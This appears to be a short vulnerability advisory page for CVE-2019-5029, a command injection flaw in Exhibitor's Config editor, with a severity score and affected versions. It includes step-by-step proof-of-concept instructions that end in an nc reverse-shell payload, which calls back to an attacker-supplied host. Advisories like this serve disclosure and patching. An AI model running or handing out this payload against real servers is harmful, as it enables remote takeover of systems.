CVE-2019-5029:
Exhibitor RCE
CVE-2019-5029: this is a command injection flaw in the Exhibitor Web UI Config editor (versions 1.0.9 to 1.7.1) where an attacker can insert shell commands using backticks or $() that get executed by the Exhibitor process when it launches ZooKeeper. It was publicly described and published in NVD on November 13, 2019. If exploited, it can cause remote code execution as the user running Exhibitor, potentially leading to full system compromise.
Below are general examples of techniques, methods, and proof-of-concept approaches used to demonstrate this vulnerability in a controlled environment.
Go to Exhibitor for ZooKeeper
Go to "Config" tab
Toggle "Editing" to ON
Inside java.env script put the following:
$(/bin/nc -e /bin/sh $LHOST $LPORT &)
# LHOST AND LPORT ARE YOUR OWN VALUESPress "Commit..." and select all changes
Wait for the command to execute
9.8
Critical risk
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Compexity
low
Privileges
none
Authentication
none
Affected
>= 1.0.9 && <= 1.7.1
Patched
> 1.7.1 || < 1.0.9